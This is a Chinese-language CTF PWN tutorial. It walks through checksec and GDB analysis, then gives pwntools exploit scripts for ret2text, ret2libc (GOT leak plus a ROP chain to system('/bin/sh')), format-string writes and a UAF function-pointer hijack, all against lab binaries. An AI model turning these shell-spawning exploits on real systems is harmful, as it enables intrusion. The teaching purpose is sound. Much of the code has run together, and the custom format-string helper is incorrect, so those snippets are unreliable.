1. 什么是 PWN
在 CTF(Capture The Flag)竞赛中,PWN 是一类以「二进制漏洞挖掘与利用」为核心的题目。题目通常会给出一个可执行程序(有时附带源码,更多时候只有二进制文件)以及一个远程服务地址,要求选手通过分析程序逻辑、定位漏洞、构造恶意输入,最终拿到服务器上的 flag。
PWN 题考查的是对底层机制的深入理解:汇编语言、调用栈、内存布局、动态链接、堆分配器以及 Linux 系统调用等。虽然门槛较高,但一旦掌握基本方法论,PWN 就能成为 CTF 中最有成就感的赛道之一。
全文环境约定:
- 操作系统:Ubuntu 20.04 / 22.04(64 位)
- 调试器:GDB + pwndbg
- 利用框架:pwntools(Python)
- 编译示例:
gcc -o vuln vuln.c -fno-stack-protector -z execstack -no-pie
2. PWN 解题基础工具链
在开始动手之前,先把工具链准备好。PWN 题最常用的工具有以下几类:
2.1 静态分析工具
- file:查看文件类型、位数、是否 PIE、是否动态链接。
- checksec:一键检查保护机制,是 PWN 选手必用的第一命令。
file./vuln checksec ./vulnchecksec输出示例:
Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)每一项都直接关系到后续利用方案的选择:Canary 决定是否需要泄露栈信息,NX 决定能否直接执行 shellcode,PIE 决定地址是否固定。
2.2 动态调试工具
- gdb + pwndbg:断点、单步、查看内存与寄存器。
- objdump / IDA / Ghidra:反汇编分析逻辑。
最常用的 GDB 命令:
gdb ./vuln b *main r ni# 单步执行,不进入函数si# 单步执行,进入函数x/20gx$rsp# 查看栈上 20 个 8 字节数据vmmap# 查看内存映射(pwndbg 扩展)2.3 利用框架 pwntools
安装及基本连接模板:
pipinstallpwntoolsfrompwnimport*context.arch='amd64'context.log_level='debug'# 本地调试p=process('./vuln')# 远程连接# p = remote('127.0.0.1', 10001)p.recvuntil(b'>>>')p.sendline(payload)p.interactive()3. PWN 解题通用流程
拿到一道 PWN 题后,建议按照以下固定流程开展,避免盲目试错。
3.1 第一步:分析保护机制
保护机制决定了利用难度与可行路线:
- Canary:栈溢出前需先泄露 Canary 值。
- NX:开启后栈不可执行,需转向 ret2libc、ROP 等技术。
- PIE:开启后地址随机,需先泄露基址。
- RELRO:Full RELRO 时 GOT 表只读,无法覆写 GOT。
- ASLR:系统级地址随机化,绕过方式通常是先泄露地址。
3.2 第二步:定位漏洞
常见漏洞触发点包括:
- 不安全的输入函数:
gets()、scanf("%s")、strcpy()、sprintf()。 - 数组越界访问。
- 格式化字符串漏洞:
printf(buf)。 - 堆管理错误:悬空指针、重复释放、
malloc大小混淆。 - 整数溢出:符号错误、截断、
size_t与int混用。
3.3 第三步:选择利用方式
依据漏洞类型和保护机制选择合适的攻击方式:
| 漏洞类型 | 常见利用方式 |
|---|---|
| 栈溢出(NX 关闭) | 直接覆盖返回地址为 shellcode |
| 栈溢出(NX 开启) | ROP / ret2libc / ret2plt |
| 格式化字符串 | 任意地址读、任意地址写 |
| 堆溢出 / UAF | tcache poisoning、fastbin attack |
| 整数溢出 | 绕过长度检查,间接制造溢出或越界 |
3.4 第四步:本地打通,远程复现
所有 payload 先在本地验证,确认拿下本地 shell 或输出 flag 后,再将脚本切换到remote模式攻击远程服务。
4. 核心机制速览:栈溢出原理
PWN 入门的第一课通常是栈溢出。理解栈帧结构是后续所有利用的基础。
以下列程序为例:
#include<stdio.h>#include<string.h>voidvuln(){charbuf[32];gets(buf);}intmain(){vuln();return0;}当gets(buf)读入超过 32 字节的数据时,多余的字节会覆盖栈上保存的返回地址。在 x86-64 下,buf到返回地址的偏移通常可以通过 GDB 精确计算,或使用 pwntools 的cyclic快速定位:
frompwnimport*# 生成 200 字节循环序列payload=cyclic(200)p=process('./vuln')p.sendline(payload)p.wait()core=p.corefile offset=cyclic_find(core.read(core.rsp,8))print("offset =",offset)# 典型值为 40随后即可将返回地址覆盖为后门函数、shellcode 或 ROP 链的起始地址。
5. 实战案例一:ret2text(跳转后门函数)
5.1 题目描述
目标程序源码如下:
#include<stdio.h>voidsuccess(){system("/bin/sh");}voidvuln(){charbuf[32];puts("Input:");gets(buf);}intmain(){vuln();return0;}编译时关闭保护:
gcc-oret2text ret2text.c -fno-stack-protector -no-pie程序本身含有一个success()后门函数,它会调用system("/bin/sh")。我们只需把返回地址覆盖为success的地址即可。
5.2 信息收集
checksec ./ret2text关键输出为:No canary found、NX enabled、No PIE。没有 PIE 意味着函数地址固定,可以直接硬编码。
反汇编确认后门函数地址:
objdump-d./ret2text|grepsuccess假设输出为:
0000000000401162 <success>:5.3 计算偏移
通过cyclic定位得到buf到返回地址的偏移为 40。
5.4 构造利用脚本
frompwnimport*context.arch='amd64'context.log_level='debug'success_addr=0x401162offset=40payload=b'A'*offset+p64(success_addr)p=process('./ret2text')p.recvuntil(b'Input:')p.sendline(payload)p.interactive()本地运行后即可拿到 shell。远程攻击时只需将process换成remote('ip', port)并补齐交互逻辑。
5.5 反思
ret2text 是最基础的 PWN 利用方式,前提是程序内存在后门函数且无 PIE 保护。真实竞赛题目往往没有现成后门,需要借助 ret2libc 或 ROP 自行构造系统调用。
6. 实战案例二:ret2libc(泄漏地址绕过 NX 与 ASLR)
6.1 题目描述
当程序开启了 NX,且没有后门函数时,无法直接执行栈上的 shellcode,也不能简单跳到现成函数。此时可以利用「返回导向编程」的思路,跳转到 libc 中的system()函数执行/bin/sh。
#include<stdio.h>voidvuln(){charbuf[32];puts("Input:");gets(buf);}intmain(){vuln();return0;}gcc-oret2libc ret2libc.c -fno-stack-protector -no-pie6.2 利用思路
关键问题在于:libc 的基址受 ASLR 影响,每次运行随机。因此利用分为两步:
- 泄露地址:通过
puts(puts@got)打印 libc 中puts函数真实地址。 - 计算基址:用真实地址减去 libc 中
puts的固定偏移,得到 libc 基址。 - 再次跳转:让
vuln再次执行,第二次将返回地址覆盖为system并传入/bin/sh字符串地址。
6.3 查找 gadget
64 位程序传参使用寄存器,system的参数需要通过rdi传递,因此需要找到pop rdi; ret这个 gadget:
ROPgadget--binary./ret2libc--only"pop|ret"|greprdi或使用 pwntools:
frompwnimport*elf=ELF('./ret2libc')libc=ELF('./libc.so.6')pop_rdi=0x4011db# 假设已找到6.4 完整脚本
frompwnimport*context.arch='amd64'context.log_level='debug'elf=ELF('./ret2libc')libc=ELF('./libc.so.6')pop_rdi=0x4011dbputs_plt=elf.plt['puts']puts_got=elf.got['puts']main_addr=elf.symbols['main']offset=40p=process('./ret2libc')# 第一步:泄露 puts 地址payload1=b'A'*offset+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main_addr)p.recvuntil(b'Input:')p.sendline(payload1)p.recvline()leak=u64(p.recv(6).ljust(8,b'\x00'))libc_base=leak-libc.symbols['puts']log.success(f'libc base:{hex(libc_base)}')# 第二步:调用 system("/bin/sh")system_addr=libc_base+libc.symbols['system']binsh_addr=libc_base+next(libc.search(b'/bin/sh'))payload2=b'A'*offset+p64(pop_rdi)+p64(binsh_addr)+p64(system_addr)p.recvuntil(b'Input:')p.sendline(payload2)p.interactive()一个关键点是远程环境的 libc 版本可能与本地不同,需要先通过题目提供的 libc 附件或在线 libc 数据库确认版本及偏移。
7. 实战案例三:格式化字符串漏洞
7.1 漏洞成因
当程序员将用户输入直接作为printf的第一个参数时,就产生了格式化字符串漏洞:
voidvuln(){charbuf[64];read(0,buf,0x100);printf(buf);}攻击者可以输入%p、%x、%n等格式化占位符,实现任意地址读和任意地址写。
7.2 任意地址读示例
输入%7$p可打印栈上第 7 个参数位置的值,从而泄露栈地址、Canary、libc 地址等敏感信息。通过不断调整偏移,即可把栈上所有内容遍历出来。
7.3 任意地址写示例
利用%n将已输出字符数写入指定地址,可用于覆写 GOT 表或返回地址。pwntools 提供了便捷的格式化字符串构造器:
frompwnimport*deffmtstr_payload(offset,writes,numbwritten=0,write_size='byte'):payload=b''foraddr,valueinwrites.items():payload+=fmtstr_split(offset,writes)returnpayload# 修改 puts@got 为 system 地址writes={elf.got['puts']:system_addr}payload=fmtstr_payload(7,writes)实际编写时需要注意 64 位地址中的\x00会截断字符串,因此地址必须放在 payload 末尾,并合理使用%hhn逐字节写入。
7.4 防御建议
格式化字符串漏洞的根源是把用户输入当作格式串。防御方法很简单:printf("%s", buf)永远显式指定格式串。
8. 实战案例四:堆利用入门(UAF)
8.1 释放后使用(Use After Free)
UAF 是指内存释放后,指针未置空,程序继续使用该指针访问已经释放的内存。当同一块内存被重新分配给另一个对象时,就可能造成类型混淆或控制流劫持。
典型漏洞代码:
structnote{void(*print)();charcontent[32];};structnote*a=malloc(sizeof(structnote));a->print=print_a;free(a);// 未置空 a,此时 a 为悬空指针structnote*b=malloc(sizeof(structnote));strcpy(b->content,"attacker");a->print();// 使用已释放指针,可能调用到攻击者控制的数据8.2 利用思路
在 glibc 2.31 之前的 tcache 机制下,同尺寸的 chunk 会进入 tcache bin,后释放先分配(LIFO)。因此free(a)后再malloc同样大小的b,b会复用a的地址。若攻击者能控制b的print字段,再通过悬空指针a->print()调用,即可劫持控制流。
8.3 利用脚本核心逻辑
add(0,b'\x00'*8)# 申请 chunk afree(0)# 释放,产生 UAFadd(1,p64(system_addr))# 申请同尺寸 chunk b,覆写函数指针show(0)# 通过悬空指针触发 system_addr现代 glibc 版本逐步加入更多防护(tcache key、safe-linking 等),因此比赛中需先确认 libc 版本再调整利用细节。
9. 常见保护绕过总结
| 保护机制 | 绕过思路 |
|---|---|
| Stack Canary | 格式化字符串泄露 Canary / 逐字节爆破 |
| NX | ROP / ret2libc / ret2dlresolve / mprotect 改权限 |
| ASLR | 泄漏实际地址后计算基址 / ret2plt |
| PIE | 泄漏代码段地址 / 部分覆写低字节 |
| Full RELRO | 改写栈返回地址或堆指针,而非 GOT |
| seccomp 沙箱 | 改用 open+read+write 的 orw 链 |
10. 常用命令速查
# 静态检查file./vuln checksec ./vuln strings ./vuln# 反汇编objdump-d-Mintel ./vuln# 查找字符串ROPgadget--binary./vuln--string"/bin/sh"ROPgadget--binary./vuln--only"pop|ret"# GDB 调试gdb ./vuln b *vuln x/30gx$rspinfo registerspwntools 常用 API:
frompwnimport*elf=ELF('./vuln')# 解析 ELFlibc=ELF('./libc.so.6')# 解析 libcp=process('./vuln')# 本地p=remote('172.17.0.2',10001)# 远程p.recvuntil(b'x')p.sendline(b'payload')p.recvline()addr=u64(p.recv(6).ljust(8,b'\x00'))# 泄漏地址还原11. 总结
PWN 题目的解题路径可以概括为:保护分析 → 漏洞挖掘 → 方案设计 → 本地调优 → 远程拿 flag。
- 入门阶段重点掌握栈溢出和 ret2text,理解栈帧与返回地址的覆盖原理。
- 进阶阶段需要熟练运用 ROP、ret2libc、格式化字符串等技巧,并能独立分析 libc 环境差异。
- 高阶阶段深入堆分配器机制,掌握 UAF、double free、堆风水等利用方法,并应对 seccomp、canary 等复合防护。
安全研究的目标始终是发现问题并推动修复。PWN 的学习价值在于让你真正理解程序的底层运行机制:每一次函数调用、每一个指针、每一块内存分配都直接暴露在眼前。希望本文的流程和案例能帮助你少走弯路,在下一场 CTF 中顺利拿到属于自己的 flag。
12. 参考与延伸学习
- CTF Wiki:
https://ctf-wiki.org/pwn/ - pwntools 官方文档:
https://docs.pwntools.com/ - pwndbg 项目:
https://github.com/pwndbg/pwndbg - glibc 源码在线浏览:
https://elixir.bootlin.com/glibc/latest/source - 训练平台推荐:BUUCTF、攻防世界、CTFshow